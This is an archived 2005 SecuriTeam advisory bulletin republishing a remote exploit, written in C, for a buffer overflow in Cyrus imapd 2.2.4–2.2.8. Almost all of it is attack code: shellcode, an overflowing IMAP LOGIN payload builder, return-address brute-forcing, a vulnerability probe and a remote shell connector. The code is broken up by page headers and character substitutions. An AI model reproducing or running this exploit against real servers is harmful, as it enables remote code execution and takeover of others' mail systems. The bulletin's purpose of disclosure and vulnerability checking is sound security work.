

[EXPL] Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0153.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/31/05

To: list@securiteam.com

Date: 31 Mar 2005 11:42:46 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/unixfocus/6N00N0UBPO.html>> Cyrus IMAP Server Multiple Remote Vulnerabilities, a vulnerability in Cyrus's IMAP server allows remote attacker to cause the program to execute arbitrary code by overflowing an internal buffer allocated by the IMAPMAGICPLUS function.

The following exploit code can be used to determine whether you are vulnerable or not.

DETAILS

Exploit:

```
/******
```

```
*
```

```
* Cyrus imapd v 2.2.4 – 2.2.8 (imapmagicplus) Remote Exploit
```

```
* By crash-x / unl0ck
```

```
* Bug found by Stefan Esser
```

```
* www.unl0ck.org / www.coredumped.info
```

```
* crash-x@unl0ck.org / crash.ix@gmail.com
```

```
*
```

Securiteam: [EXPL] Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

* Greetings to: all GOTFault ex-member, un0ck, scozar, eos-india, xesio and all my other friends
* Thanks to: n2n
* Why: This was GOTFault code but Im releasing it with un0ck. The only reason
* Im releasing it is that somebody leaked it. We didnt want to release any GOTFault stuff or give it to anyone besides GOTFault members. But somehow
* stuff got leaked and we had some problems in the team. tal0n disappeared and GOTFault doesnt exist anymore.
* Im sorry about GOTFault and I hope tal0n has a good time wherever he is and whatever he is doing.

*****/

```
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>

#define RET_BF_START 0x08000000
#define RET_BF_END 0x08600000

#define SHELL_PORT "34563"
#define SHELL_COMMAND "uname -a; id;"

char shellcode[] = /* thanks metasploit! */
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\xb4\x1e"
"\xc2\x86\x83\xeb\xfc\xe2\xf4\x85\xc5\x35\x65\x04\x78\x91\xc5\xe7"
"\x5d\x91\x0f\x55\x55\x0f\x06\x3d\xd9\x90\xe0\xdc\x99\xc1\xc5\xd2"
"\x4d\x4b\x67\x04\xe0\x92\xd7\xe3\x97\x23\x36\xd2\xd3\x42\x36\xd2"
"\xad\xc6\x4b\x34\x4e\x92\xd1\x3d\xff\x81\x36\xd2\xd3\x42\x0f\x6d"
"\x97\x01\x36\x8b\x57\x0f\x06\xf5\xfc\x3a\xd7\xdc\x70\xed\xf5\xdc"
"\x76\xed\xa9\xd6\x77\x4b\x65\xe5\x4d\x4b\x67\x04\x15\x0f\x06";

struct targ{
char *platform;
int retloc;
} targets[] = {
{ "Debian 3.1 – Cyrus imapd 2.2.8", 0x0812893c },
```

Securiteam: [EXPL] Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

```
{ NULL }
};

void usage(char *a){
int i;

printf("[ -] Usage: %s -h <host> [options]\n", a);
printf("[!] Options:\n");
printf("\t\t-h\tHostname which you want attack (required)\n");
printf("\t\t-p\tPort of the imapd (default: 143)\n");
printf("\t\t-t\tTarget (default: 0)\n");
printf("\t\t-S\tBruteforce start address (default: 0x%x)\n",
RET_BF_START);
printf("\t\t-E\tBruteforce end address (default: 0x%x)\n", RET_BF_END);
printf("\t\t-P\tPayload size (default: 10000)\n");
printf("\t\t-s\tHow long to sleep before try connect to shell (default:
1)\n");
printf("\t\t-v\tOnly vulncheck\n");
printf("\t\t-V\tNo vulncheck\n");
printf("[!] Targets:\n");
for(i = 0; targets[i].platform; i++)
printf("\t\t%d\t %s\n", i, targets[i].platform);
printf("\t\t1337\t All Linux Distros (bruteforce)\n");
exit(1);
}

int sockprintf(int sock, const char *s, ...){
char *ptr;
int bytes;
va_list arg;
va_start(arg, s);
if(vasprintf(&ptr, s, arg) == -1){
free(ptr);
return -1;
}
va_end(arg);
if((bytes = send(sock, ptr, strlen(ptr), 0)) == -1){
free(ptr);
return -1;
}
free(ptr);
return bytes;
}

void check(char *ptr){
int i;

for(i = 0; i < strlen(ptr); i++){
switch(ptr[i]){
case '\x00':
ptr[i] = 0x01;

```

Securiteam: [EXPL] Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

```
break;
case '\x09':
ptr[i] = 0x08;
break;
case '\x0a':
ptr[i] = 0x0e;
break;
case '\x0b':
ptr[i] = 0x0e;
break;
case '\x0c':
ptr[i] = 0x0e;
break;
case '\x0d':
ptr[i] = 0x0e;
break;
case '\x20':
ptr[i] = 0x21;
break;
case '\x22':
ptr[i] = 0x23;
break;
case '\x28':
ptr[i] = 0x27;
break;
case '\x29':
ptr[i] = 0x30;
break;
}
}
}

int resolv(struct sockaddr_in *addr, char *hostn){
struct hostent *host;

if (!inet_aton(hostn, &addr->sin_addr)){
host = gethostbyname(hostn);
if (host == NULL){
printf("[ - ] Wasnt able to resolve %s!\n", hostn);
return -1;
}
addr->sin_addr = *(struct in_addr*)host->h_addr;
}
}

int conn(struct sockaddr_in addr, int port){
int sock;

if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1){
return -1;
}
}
```

Securiteam: [EXPL] Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

```
addr.sin_port = htons(port);
addr.sin_family = AF_INET;

if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
return -1;
}
return sock;
}

int get_shell(struct sockaddr_in addr, int port, int sleeps){
int sock;
char buffer[1024];
fd_set fds;

sleep(sleeps);

if((sock = conn(addr, port)) == -1)
return (-1);
printf("[+]\n[+] Woohooo we got a shell!\n");
sockprintf(sock, SHELL_COMMAND"\r\n");
while(1){
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);

if (select(255, &fds, NULL, NULL, NULL) == -1){
fprintf(stderr, "[-] sending failed\n");
close(sock);
exit(1);
}

memset(buffer, 0x0, sizeof(buffer));
if (FD_ISSET(sock, &fds)){
if (recv(sock, buffer, sizeof(buffer), 0) == -1){
fprintf(stderr, "[-] Connection closed by remote host!\n");
close(sock);
exit(1);
}
fprintf(stderr, "%s", buffer);
}

if (FD_ISSET(0, &fds)){
read(0, buffer, sizeof(buffer));
write(sock, buffer, strlen(buffer));
}
}
return 0;
}

void status(int retloc, int retloc2, int retaddr){
static int l=1;
```

Securiteam: [EXPL] Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

```
switch(l){
case 1:
printf("[[] ");
break;
case 2:
printf("[/] ");
break;
case 3:
printf("[−] ");
break;
case 4:
printf("[\\] ");
l = 0;
break;
}
printf("Trying retlocs [0x%x − 0x%x] retaddr [0x%x]\r", retloc, retloc2,
retaddr);
fflush(stdout);
l++;
}
```

```
void gen_payload(char *payload, int p_size, int retloc, int mode){
int i;

memset(payload, 0x0, p_size);
memcpy(payload, "L01 LOGIN ", strlen("L01 LOGIN "));
/* mode == 0 is vulncheck buffer and 1 is attack buffer */
if(mode == 0)
memset(payload+strlen("L01 LOGIN "), 'A', p_size−strlen("L01 LOGIN "));
else{
for(i=strlen("L01 LOGIN "); i < (p_size−(p_size/10)); i+=4)
*((void **)(payload+i)) = (void *)((retloc+(p_size−(p_size/10/2))));
memset(payload+i, '\x90', p_size−i);
*((void **)(payload+562)) = (void *)(retloc);
payload[p_size−5] = '\0';
check(payload + strlen("L01 LOGIN "));
}
memcpy(payload+p_size−strlen(shellcode)−strlen(" {5}")−1, shellcode,
strlen(shellcode));
memcpy(payload+p_size−strlen(" {5}")−1, " {5}", strlen(" {5}"));
payload[p_size−1] = '\0';
}
```

```
void vulnchck(struct sockaddr_in addr, int port){
char payload[1024];
int sock;
struct timeval timeout;
fd_set fds;

timeout.tv_sec = 3;
timeout.tv_usec = 0;
```

Securiteam: [EXPL] Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

```
printf("[!] Checking if the server is vuln!\n");
if((sock = conn(addr, port)) == -1){
printf("[–] Connecting failed!\n");
exit(1);
}
gen_payload(payload, sizeof(payload), 0x00, 0);
sockprintf(sock, "%s\r\n", payload);
if(recv(sock, payload, sizeof(payload), 0) < 1){
printf("[+] Yeaahaa server is vuln, lets fuck that bitch!\n");
close(sock);
return;
}
printf("[–] Server not vuln!\n");
close(sock);
exit(1);
}

int main(int argc, char **argv){
char *payload = NULL, *hostn = NULL, buffer[1024], *ptr;
int i, first, sock, opt, target = 0, port = 143,
shell_port = atoi(SHELL_PORT), sleeps = 1,
p_size=10000, ret_bf_start = RET_BF_START,
ret_bf_end = RET_BF_END, vulncheck = 1;
fd_set fds;
struct sockaddr_in addr;

printf("[!] Cyrus imapd 2.2.4 – 2.2.8 remote exploit by crash–x /
unl0ck\n");

if (argc < 2)
usage(argv[0]);

while ((opt = getopt (argc, argv, "h:p:t:s:P:S:E:vV")) != –1){
switch (opt){
case 'h':
hostn = optarg;
break;
case 'p':
port = atoi(optarg);
if(port > 65535 || port < 1){
printf("[–] Port %d is invalid\n",port);
return 1;
}
break;
case 't':
target = atoi(optarg);
for(i = 0; targets[i].platform; i++){
if(target >= i && target != 1337){
printf("[–] Wtf are you trying to target?\n");
usage(argv[0]);
}
}
}
```

Securiteam: [EXPL] Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

```
break;
case 'S':
ret_bf_start = strtoul(optarg,NULL,0);
if(!ret_bf_start){
printf("[–] Wtf thats not a valid bruteforce start address!\n");
usage(argv[0]);
}
break;
case 'E':
ret_bf_end = strtoul(optarg,NULL,0);
if(!ret_bf_end){
printf("[–] Wtf thats not a valid bruteforce end address!\n");
usage(argv[0]);
}
break;
case 's':
sleeps = atoi(optarg);
break;
case 'P':
p_size = atoi(optarg);
if(p_size < 1000){
printf("[–] Its a bad idea to have a payload with less than 1000 bytes
:)\n");
return 1;
}
break;
case 'v':
vulncheck = 2;
break;
case 'V':
vulncheck = 0;
break;
default:
usage(argv[0]);
}
}

if(hostn == NULL)
usage(argv[0]);

if(payload == NULL){
if(!(payload = malloc(p_size))){
printf("[–] Wasnt able to allocate space for the payload!\n");
return 1;
}
}

resolv(&addr, hostn);

if(vulncheck == 2){
vulnchck(addr, port);
```

Securiteam: [EXPL] Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

```
return 1;
}
else if(vulncheck == 1)
vulnchck(addr, port);

if(target != 1337){
ret_bf_start = targets[target].retloc;
ret_bf_end = targets[target].retloc+5;
printf ("[!] Targeting %s\n", targets[target].platform);
} else
printf("[!] Starting bruteforce attack!\n");

for(i = 0, first = 1; ret_bf_start < ret_bf_end; i++, first++){
if((sock = conn(addr, port)) == -1){
if(first != 1)
printf("\n");
printf("[ - ] Connecting failed!\n");
break;
}
if(i == 4)
ret_bf_start += (p_size - (p_size/10));
else
ret_bf_start++;
gen_payload(payload, p_size, ret_bf_start, 1);
status(ret_bf_start, ret_bf_start + (p_size - (p_size/10)),
ret_bf_start + (p_size - (p_size/10/2)));
sockprintf(sock, "%s\r\n", payload);
if(i == 4){
get_shell(addr, shell_port, sleeps);
i = 0;
}
if(ret_bf_start >= ret_bf_end)
printf("[ - ]\n");
close(sock);
}
printf("[ - ] Exploit failed!\n");
return 1;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:crash-x@unl0ck.org>> crash-x / unl0ck.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [EXPL] Cyrus IMAP IMAPMAGICPLUS Buffer Overflow (Exploit)

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.